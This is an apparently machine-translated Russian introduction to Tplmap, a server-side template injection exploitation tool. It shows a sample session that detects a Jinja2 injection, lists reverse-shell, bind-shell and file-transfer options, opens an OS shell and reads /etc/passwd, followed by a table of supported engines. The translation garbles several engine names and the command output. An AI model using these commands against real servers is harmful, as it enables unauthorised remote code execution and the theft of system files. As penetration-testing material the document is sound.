При выполнении теста на проникновение веб-страницы, которая создает динамическое содержимое с помощью шаблонов с пользовательскими значениями, может возникнуть уязвимость внедрения шаблонов на стороне сервера. Ручная идентификация движка шаблонов, с которым вы имеете дело, и последующая эксплуатация могут быть легко автоматизированы с помощью инструмента Tplmap.
Tplmap способен обнаруживать и использовать SSTI в нескольких типах шаблонных движков. Он обладает такими функциональными возможностями, как просмотр файловой системы и удаленное выполнение команд на атакуемом сервере.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Тплмап 0.5
Инструмент автоматического обнаружения и эксплуатации внедрения шаблонов на стороне сервера
[+] Проверка того, является ли параметр GET 'name' инъекционным
[+] Плагин Smarty тестирует рендеринг с тегом '{*}'
[+] Плагин Smarty тестирует слепую инъекцию
[+] Плагин Mako тестирует рендеринг с тегом '${*}'
...
[+] Плагин Jinja2 тестирует рендеринг с тегом '{{*}}'
[+] Плагин Jinja2 подтвердил инъекцию с тегом '{{*}}'
[+] Tplmap определил следующую точку инъекции:
Параметр GET: имя
Двигатель: Jinja2
Инъекция: {{*}}
Контекст: текст
ОС: linux
Техника: рендеринг
Возможности:
Выполнение команды оболочки: прибл.
Связывание и обратная оболочка: прибл.
Запись файла: ok
Файл прочитан: ok
Оценка кода: хорошо, код python
[+] Повторно запустите tplmap, предоставив один из следующих вариантов:
--os-shell Запустить оболочку по цели
--os-cmd Выполнение команд оболочки
--bind-shell PORT Подключение к оболочке Привязка к целевому порту
--reverse-shell HOST PORT Отправка оболочки обратно на порт злоумышленника
--загрузка ЛОКАЛЬНОЙ УДАЛЕННОЙ загрузки файлов на сервер
--загрузка УДАЛЕННОГО ЛОКАЛЬНОГО Загрузка удаленных файлов
Используйте параметр --os-shell
для запуска псевдотерминала на целевом объекте.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Тплмап 0.5
Инструмент автоматического обнаружения и эксплуатации внедрения шаблонов на стороне сервера
[+] Выполняйте команды в операционной системе.
Linux $ whoami
паутина
linux $ cat /etc/passwd
корень:/корень:/bin/bash
демон:x:1:1:демон:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Tplmap поддерживает более 15 шаблонистров:
Двигателя | Удаленное выполнение команд | слепой | Оценка кода | Чтение файла | Запись в файл |
---|---|---|---|---|---|
Мако | ✓ | ✓ | питон | ✓ | ✓ |
Джинджа2 | ✓ | ✓ | питон | ✓ | ✓ |
Python (код eval) | ✓ | ✓ | питон | ✓ | ✓ |
торнадо | ✓ | ✓ | питон | ✓ | ✓ |
Нунджукс, Кентукки | ✓ | ✓ | JavaScript | ✓ | ✓ |
мопс | ✓ | ✓ | JavaScript | ✓ | ✓ |
точка | ✓ | ✓ | JavaScript | ✓ | ✓ |
Марко | ✓ | ✓ | JavaScript | ✓ | ✓ |
JavaScript (код eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
Пыль (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
ЭйС | ✓ | ✓ | JavaScript | ✓ | ✓ |
Рубин (код eval) | ✓ | ✓ | рубин | ✓ | ✓ |
тонкий | ✓ | ✓ | рубин | ✓ | ✓ |
эрбий | ✓ | ✓ | рубин | ✓ | ✓ |
Смарти (незащищенный) | ✓ | ✓ | PHP | ✓ | ✓ |
PHP (код eval) | ✓ | ✓ | PHP | ✓ | ✓ |
Веточка (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
Фримаркер | ✓ | ✓ | × | ✓ | ✓ |
Скорость, Новинка | ✓ | ✓ | × | ✓ | ✓ |
Веточка (>1.19) | × | × | × | × | × |
Смарти (защищенный) | × | × | × | × | × |
Пыль (> [email protected]) | × | × | × | × | × |
Tplmap можно найти на github создателя — tplmap.